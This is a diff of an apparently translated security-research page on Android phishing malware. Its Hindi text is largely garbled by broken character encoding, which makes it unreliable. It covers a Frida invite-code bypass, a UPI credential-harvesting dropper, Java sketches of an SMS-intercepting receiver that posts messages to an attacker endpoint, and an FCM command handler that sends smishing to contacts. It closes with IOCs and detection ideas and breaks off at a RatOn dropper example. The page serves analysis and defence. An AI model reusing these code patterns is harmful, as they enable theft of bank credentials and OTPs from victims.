-* **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ / DNS рд╡рд┐рд╢реНрд▓реЗрд╖рдг** рдЕрдЪрд╛рдирдХ рдХреАрд╡рд░реНрдб-рд╕рдореГрджреНрдз рдбреЛрдореЗрди рдХреЗ рдмрд░реНрд╕реНрдЯ рдХреЛ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдПред
-* **User-Agent рдФрд░ рдкрде Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ Google Play рдХреЗ рдмрд╛рд╣рд░ред
-* **рдЖрдордВрддреНрд░рдг-рдХреЛрдб рдЯреЗрд▓реАрдореЗрдЯреНрд░реА** тАУ APK рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж 6тАУ8 рдЕрдВрдХреЛрдВ рдХреЗ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдХреЛрдб рдХрд╛ POST рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИред
-* **MobileConfig рд╕рд╛рдЗрдирд┐рдВрдЧ** тАУ рдмрд┐рдирд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░реЛрдлрд╛рдЗрд▓ рдХреЛ MDM рдиреАрддрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрд╡рд░реБрджреНрдз рдХрд░реЗрдВред
+* **Certificate Transparency / DNS Analytics** рддрд╛рдХрд┐ sudden bursts рд╡рд╛рд▓реЗ keyword-rich рдбреЛрдореЗрди рдкрдХрдбрд╝реЗ рдЬрд╛ рд╕рдХреЗрдВред
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рд╕реЗ рдЬрд┐рдиреНрд╣реЗрдВ Google Play рдХреЗ рдмрд╛рд╣рд░ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реЛред
+* **Invite-code Telemetry** тАУ APK рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж 6тАУ8 рдЕрдВрдХ рдХреЗ рдиреНрдпреВрдореЗрд░рд┐рдХ рдХреЛрдб рдХрд╛ POST рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рдХрд╛ рд╕рдВрдХреЗрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
+* **MobileConfig Signing** тАУ unsigned configuration profiles рдХреЛ MDM рдиреАрддрд┐ рдХреЗ рдЬрд░рд┐рдП рдмреНрд▓реЙрдХ рдХрд░реЗрдВред
-## рдЙрдкрдпреЛрдЧреА Frida рд╕реНрдирд┐рдкреЗрдЯ: рдСрдЯреЛ-рдмрд╛рдпрдкрд╛рд╕ рдЖрдордВрддреНрд░рдг рдХреЛрдб
+## рдЙрдкрдпреЛрдЧреА Frida Snippet: Auto-Bypass Invitation Code
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@@ -80,7 +80,7 @@ return conn;
};
});
```
-## рд╕рдВрдХреЗрдд (рд╕рд╛рдорд╛рдиреНрдп)
+## рд╕реВрдЪрдХ (рд╕рд╛рдорд╛рдиреНрдп)
```
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
@@ -90,26 +90,26 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) тАУ Dropper + FCM C2 Pattern
-рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЛ рднрд╛рд░рддреАрдп UPI рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдФрд░ OTP рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░рдХрд╛рд░реА рд▓рд╛рдн рд╡рд┐рд╖рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрднрд┐рдпрд╛рдиреЛрдВ рдореЗрдВ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИред рдСрдкрд░реЗрдЯрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЛ рд╡рд┐рддрд░рдг рдФрд░ рд╕реНрдерд┐рд░рддрд╛ рдХреЗ рд▓рд┐рдП рдЬреЛрдбрд╝рддреЗ рд╣реИрдВред
+This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
-### рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЗ рдмреАрдЪ рд╡рд┐рддрд░рдг рд╢реНрд░реГрдВрдЦрд▓рд╛
-- YouTube рд╡реАрдбрд┐рдпреЛ рд▓реБрднрд╛рд╡рдирд╛ тЖТ рд╡рд┐рд╡рд░рдг рдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рд▓рд┐рдВрдХ рд╣реИ
-- рд╢реЙрд░реНрдЯрд▓рд┐рдВрдХ тЖТ рд╡реИрдз рдкреЛрд░реНрдЯрд▓ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА GitHub Pages рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╕рд╛рдЗрдЯ
-- рд╡рд╣реА GitHub рд░реЗрдкреЛ рдПрдХ APK рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдирдХрд▓реА тАЬGoogle PlayтАЭ рдмреИрдЬ рд╣реИ рдЬреЛ рд╕реАрдзреЗ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░рддрд╛ рд╣реИ
-- рдЧрддрд┐рд╢реАрд▓ рдлрд╝рд┐рд╢рд┐рдВрдЧ рдкреГрд╖реНрда Replit рдкрд░ рд▓рд╛рдЗрд╡ рд╣реИрдВ; рджреВрд░рд╕реНрде рдХрдорд╛рдВрдб рдЪреИрдирд▓ Firebase Cloud Messaging (FCM) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ
+### рднрд░реЛрд╕реЗрдордВрдж рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдореНрд╕ рдкрд░ рд╡рд┐рддрд░рдг рд╢реНрд░реГрдВрдЦрд▓рд╛
+- YouTube рд▓реБрднрд╛рд╡рдирд╛ рд╡реАрдбрд┐рдпреЛ тЖТ рд╡рд┐рд╡рд░рдг рдореЗрдВ рдПрдХ рд╢реЙрд░реНрдЯ рд▓рд┐рдВрдХ рд╣реЛрддрд╛ рд╣реИ
+- Shortlink тЖТ GitHub Pages рдкрд░ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдкреЛрд░реНрдЯрд▓ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА phishing рд╕рд╛рдЗрдЯ
+- рд╡рд╣реА GitHub repo рдПрдХ APK рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдирдХрд▓реА тАЬGoogle PlayтАЭ рдмреИрдЬ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рд╕реАрдзреЗ рдлрд╛рдЗрд▓ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░рддрд╛ рд╣реИ
+- рдбрд╛рдпрдиреЗрдорд┐рдХ phishing рдкреЗрдЬ Replit рдкрд░ рд░рд╣рддреЗ рд╣реИрдВ; рд░рд┐рдореЛрдЯ рдХрдорд╛рдВрдб рдЪреИрдирд▓ Firebase Cloud Messaging (FCM) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ
-### рдПрдореНрдмреЗрдбреЗрдб рдкреЗрд▓реЛрдб рдФрд░ рдСрдлрд╝рд▓рд╛рдЗрди рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рд╕рд╛рде рдбреНрд░реЙрдкрд░
-- рдкрд╣рд▓рд╛ APK рдПрдХ рдЗрдВрд╕реНрдЯреЙрд▓рд░ (рдбреНрд░реЙрдкрд░) рд╣реИ рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдореИрд▓рд╡реЗрдпрд░ рдХреЛ `assets/app.apk` рдкрд░ рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреНрд▓рд╛рдЙрдб рдкрд╣рдЪрд╛рди рдХреЛ рдХрдордЬреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WiтАСFi/рдореЛрдмрд╛рдЗрд▓ рдбреЗрдЯрд╛ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред
-- рдПрдореНрдмреЗрдбреЗрдб рдкреЗрд▓реЛрдб рдПрдХ рдирд┐рд░реНрджреЛрд╖ рд▓реЗрдмрд▓ (рдЬреИрд╕реЗ, тАЬSecure UpdateтАЭ) рдХреЗ рддрд╣рдд рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛрддрд╛ рд╣реИред рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЗ рдмрд╛рдж, рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдФрд░ рдкреЗрд▓реЛрдб рджреЛрдиреЛрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдРрдк рдХреЗ рд░реВрдк рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреЗ рд╣реИрдВред
+### Dropper with embedded payload and offline install
+- рдкрд╣рд▓рд╛ APK рдПрдХ installer (dropper) рд╣реИ рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ malware рдХреЛ `assets/app.apk` рдкрд░ рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рдпреВрдЬрд╝рд░ рдХреЛ рдХреНрд▓рд╛рдЙрдб-рдЖрдзрд╛рд░рд┐рдд рдбрд┐рдЯреЗрдХреНрд╢рди рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WiтАСFi/mobile data рдмрдВрдж рдХрд░рдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред
+- Embedded payload рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд▓реЗрдмрд▓ (рдЙрджрд╛., тАЬSecure UpdateтАЭ) рдХреЗ рдирд╛рдо рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛрддрд╛ рд╣реИред рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рдмрд╛рдж, installer рдФрд░ payload рджреЛрдиреЛрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ apps рдХреЗ рд░реВрдк рдореЗрдВ рдореМрдЬреВрдж рд░рд╣рддреЗ рд╣реИрдВред
-рд╕реНрдЯреИрдЯрд┐рдХ рдЯреНрд░рд╛рдпрдЬ рдЯрд┐рдк (рдПрдореНрдмреЗрдбреЗрдб рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВ):
+Static triage tip (grep for embedded payloads):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
-### Dynamic endpoint discovery via shortlink
-- Malware рдПрдХ plain-text, comma-separated рд╕реВрдЪреА рдХреЛ рдПрдХ shortlink рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ; рд╕рд░рд▓ string transforms рдЕрдВрддрд┐рдо phishing page path рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВред
+### shortlink рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд╛рдпрдирд╛рдорд┐рдХ endpoint рдХреА рдЦреЛрдЬ
+- Malware рдПрдХ shortlink рд╕реЗ plain-text, comma-separated list рд▓реЗрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ live endpoints рд╣реЛрддреЗ рд╣реИрдВ; рд╕рд░рд▓ string transforms рдЕрдВрддрд┐рдо phishing page path рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВред
Example (sanitised):
```
@@ -119,7 +119,7 @@ Transform: "gate.html" тЖТ "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
-рдкреНрд╕реЗUDO-рдХреЛрдб:
+рдЫрджреНрдо-рдХреЛрдб:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
@@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
-### WebView-рдЖрдзрд╛рд░рд┐рдд UPI рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╣рд╛рд░реНрд╡реЗрд╕реНрдЯрд┐рдВрдЧ
-- тАЬтВ╣1 / UPIтАСLite рдХрд╛ рднреБрдЧрддрд╛рди рдХрд░реЗрдВтАЭ рдЪрд░рдг рдПрдХ рд╣рдорд▓рд╛рд╡рд░ HTML рдлреЙрд░реНрдо рдХреЛ WebView рдХреЗ рдЕрдВрджрд░ рдЧрддрд┐рд╢реАрд▓ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝реАрд▓реНрдб (рдлреЛрди, рдмреИрдВрдХ, UPI PIN) рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ `addup.php` рдкрд░ `POST` рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
+### WebView-based UPI credential harvesting
+- тАЬMake payment of тВ╣1 / UPIтАСLiteтАЭ рдЪрд░рдг WebView рдХреЗ рдЕрдВрджрд░ dynamic endpoint рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ HTML рдлреЙрд░реНрдо рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝реАрд▓реНрдбреНрд╕ (phone, bank, UPI PIN) рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ `POST` рдХрд░рдХреЗ `addup.php` рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдиреНрдпреВрдирддрдо рд▓реЛрдбрд░:
```java
@@ -136,16 +136,16 @@ WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https:///gate.htm
```
-### рдЖрддреНрдо-рдкреНрд░рд╕рд╛рд░ рдФрд░ SMS/OTP рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди
-- рдкрд╣рд▓реЗ рд░рди рдкрд░ рдЖрдХреНрд░рд╛рдордХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдорд╛рдВрдЧреА рдЬрд╛рддреА рд╣реИрдВ:
+### Self-propagation and SMS/OTP interception
+- рдкрд╣рд▓реА рдмрд╛рд░ рдЪрд▓рд╛рдиреЗ рдкрд░ рдЖрдХреНрд░рд╛рдордХ permissions рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
```xml
```
-- рд╕рдВрдкрд░реНрдХреЛрдВ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рд╕рд╛рдореВрд╣рд┐рдХ рд░реВрдк рд╕реЗ smishing SMS рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд▓реВрдк рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
-- рдЖрдиреЗ рд╡рд╛рд▓реЗ SMS рдХреЛ рдПрдХ рдкреНрд░рд╕рд╛рд░рдг рд░рд┐рд╕реАрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ (рдкреНрд░реЗрд╖рдХ, рд╕рд╛рдордЧреНрд░реА, рд╕рд┐рдо рд╕реНрд▓реЙрдЯ, рдкреНрд░рддрд┐-рдбрд┐рд╡рд╛рдЗрд╕ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЖрдИрдбреА) рдХреЗ рд╕рд╛рде `/addsm.php` рдкрд░ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+- Contacts рдХреЛ рд▓реВрдк рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреАрдбрд╝рд┐рдд рдХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ smishing SMS рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рднреЗрдЬреЗ рдЬрд╛ рд╕рдХреЗрдВ.
+- Incoming SMS рдХреЛ рдПрдХ broadcast receiver рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ metadata (sender, body, SIM slot, per-device random ID) рдХреЗ рд╕рд╛рде `/addsm.php` рдкрд░ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ.
Receiver sketch:
```java
@@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
}
```
### Firebase Cloud Messaging (FCM) рдХреЗ рд░реВрдк рдореЗрдВ рд▓рдЪреАрд▓рд╛ C2
-- рдкреЗрд▓реЛрдб FCM рдХреЗ рд▓рд┐рдП рдкрдВрдЬреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ; рдкреБрд╢ рд╕рдВрджреЗрд╢ `_type` рдлрд╝реАрд▓реНрдб рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рд┐рдЪ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ, рдлрд╝рд┐рд╢рд┐рдВрдЧ рдЯреЗрдХреНрд╕реНрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛, рд╡реНрдпрд╡рд╣рд╛рд░реЛрдВ рдХреЛ рдЯреЙрдЧрд▓ рдХрд░рдирд╛)ред
+- Payload FCM рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реЛрддрд╛ рд╣реИ; push messages рдореЗрдВ `_type` рдлреАрд▓реНрдб рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрд╡рд┐рдЪ рдХреА рддрд░рд╣ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЙрджрд╛., phishing рдЯреЗрдХреНрд╕реНрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛, рд╡реНрдпрд╡рд╣рд╛рд░ рдЯреЙрдЧрд▓ рдХрд░рдирд╛).
-рдЙрджрд╛рд╣рд░рдг FCM рдкреЗрд▓реЛрдб:
+Example FCM payload:
```json
{
"to": "",
@@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
-рд╣реИрдВрдбрд▓рд░ рд╕реНрдХреЗрдЪ:
+Handler рд░реВрдкрд░реЗрдЦрд╛:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
@@ -186,27 +186,177 @@ case "smish": sendSmishToContacts(); break;
}
}
```
-### рд╢рд┐рдХрд╛рд░ рдкреИрдЯрд░реНрди рдФрд░ IOC
-- APK рдореЗрдВ `assets/app.apk` рдкрд░ рджреНрд╡рд┐рддреАрдпрдХ рдкреЗрд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ
-- WebView `gate.htm` рд╕реЗ рднреБрдЧрддрд╛рди рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ `/addup.php` рдкрд░ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ
-- SMS рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди `/addsm.php` рдкрд░
-- рд╢реЙрд░реНрдЯрд▓рд┐рдВрдХ-рдЪрд╛рд▓рд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝реЗрдЪ (рдЬреИрд╕реЗ, `rebrand.ly/*`) CSV рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд▓реМрдЯрд╛рддрд╛ рд╣реИ
-- рдРрдкреНрд╕ рдХреЛ рд╕рд╛рдорд╛рдиреНрдп "рдЕрдкрдбреЗрдЯ/рд╕реБрд░рдХреНрд╖рд┐рдд рдЕрдкрдбреЗрдЯ" рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрдмрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
-- рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдРрдкреНрд╕ рдореЗрдВ `_type` рд╡рд┐рднрд╛рдЬрдХ рдХреЗ рд╕рд╛рде FCM `data` рд╕рдВрджреЗрд╢
+### рд╣рдВрдЯрд┐рдВрдЧ рдкреИрдЯрд░реНрди рдФрд░ IOCs
+- APK рдореЗрдВ рд╕реЗрдХреЗрдВрдбрд░реА payload `assets/app.apk` рдореЗрдВ рдореМрдЬреВрдж рд╣реИ
+- WebView `gate.htm` рд╕реЗ payment рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ `/addup.php` рдкрд░ exfiltrate рдХрд░рддрд╛ рд╣реИ
+- SMS рдХрд╛ exfiltration `/addsm.php` рдкрд░
+- Shortlink-рдбреНрд░рд┐рд╡рди config fetch (e.g., `rebrand.ly/*`) рдЬреЛ CSV endpoints рд▓реМрдЯрд╛рддрд╛ рд╣реИ
+- рдРрд╕реЗ рдРрдкреНрд╕ рдЬрд┐рдиреНрд╣реЗрдВ generic тАЬUpdate/Secure UpdateтАЭ рд▓реЗрдмрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ
+- FCM `data` рд╕рдВрджреЗрд╢ рдЕрдирдЯреНрд░рд╕реНрдЯреЗрдб рдРрдкреНрд╕ рдореЗрдВ рдЬрд┐рдирдореЗрдВ `_type` discriminator рд╣реЛрддрд╛ рд╣реИ
-### рдкрд╣рдЪрд╛рди рдФрд░ рд░рдХреНрд╖рд╛ рд╡рд┐рдЪрд╛рд░
-- рдЙрди рдРрдкреНрд╕ рдХреЛ рдлреНрд▓реИрдЧ рдХрд░реЗрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдиреЗрдЯрд╡рд░реНрдХ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ `assets/` рд╕реЗ рдПрдХ рджреВрд╕рд░рд╛ APK рд╕рд╛рдЗрдб-рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред
-- рдЕрдиреБрдорддрд┐ рдЯреНрдпреВрдкрд▓ рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВ: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-рдЖрдзрд╛рд░рд┐рдд рднреБрдЧрддрд╛рди рдкреНрд░рд╡рд╛рд╣ред
-- рдЧреИрд░-рдХреЙрд░реНрдкреЛрд░реЗрдЯ рд╣реЛрд╕реНрдЯ рдкрд░ `POST /addup.php|/addsm.php` рдХреЗ рд▓рд┐рдП рдИрдЧреНрд░реЗрд╕ рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ; рдЬреНрдЮрд╛рдд рдЕрд╡рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВред
-- рдореЛрдмрд╛рдЗрд▓ EDR рдирд┐рдпрдо: FCM рдХреЗ рд▓рд┐рдП рдкрдВрдЬреАрдХрд░рдг рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдРрдк рдФрд░ `_type` рдлрд╝реАрд▓реНрдб рдкрд░ рд╢рд╛рдЦрд╛ рдмрдирд╛рдирд╛ред
+### рдбрд┐рдЯреЗрдХреНрд╢рди рдФрд░ рдбрд┐рдлреЗрдВрд╕ рдЖрдЗрдбрд┐рдпрд╛рдЬ
+- рдЙрди рдРрдкреНрд╕ рдХреЛ flag рдХрд░реЗрдВ рдЬреЛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдбрд┐рд╕реЗрдмрд▓ рдХрд░рдиреЗ рдХреЛ рдХрд╣рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ `assets/` рд╕реЗ рджреВрд╕рд░реА APK side-load рдХрд░рддреЗ рд╣реИрдВред
+- permission tuple рдкрд░ рдЕрд▓рд░реНрдЯ: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-рдЖрдзрд╛рд░рд┐рдд payment flowsред
+- non-corporate hosts рдкрд░ `POST /addup.php|/addsm.php` рдХреЗ рд▓рд┐рдП egress рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ; рдЬреНрдЮрд╛рдд infrastructure рдХреЛ block рдХрд░реЗрдВред
+- Mobile EDR рдирд┐рдпрдо: untrusted рдРрдк рдЬреЛ FCM рдХреЗ рд▓рд┐рдП register рдХрд░рддрд╛ рд╣реИ рдФрд░ `_type` field рдкрд░ branching рдХрд░рддрд╛ рд╣реИред
---
+## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration тАУ RatOn case study
+
+The RatOn banker/RAT campaign (ThreatFabric) рдЖрдзреБрдирд┐рдХ mobile phishing рдСрдкрд░реЗрд╢рдиреНрд╕ рдХрд╛ рдПрдХ рдареЛрд╕ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬрд╣рд╛рдБ WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, рдФрд░ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ NFC-relay orchestration рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдХреНрд╢рди рдЗрди reusable techniques рдХрд╛ рд╕рд╛рд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред
+
+### Stage-1: WebView тЖТ native install bridge (dropper)
+рдЖрдХреНрд░рдордгрдХрд╛рд░реА рдПрдХ WebView рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдЬреЛ attacker рдкреЗрдЬ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ JavaScript interface inject рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ native installer рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддрд╛ рд╣реИред HTML рдмрдЯрди рдкрд░ рдЯреИрдк native рдХреЛрдб рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ dropper рдХреЗ assets рдореЗрдВ рдмрдВрдбрд▓ рдХрд┐рдП рдЧрдП second-stage APK рдХреЛ install рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЙрд╕реЗ рд╕реАрдзреЗ рд▓реЙрдиреНрдЪ рдХрд░ рджреЗрддрд╛ рд╣реИред
+
+Minimal pattern:
+```java
+public class DropperActivity extends Activity {
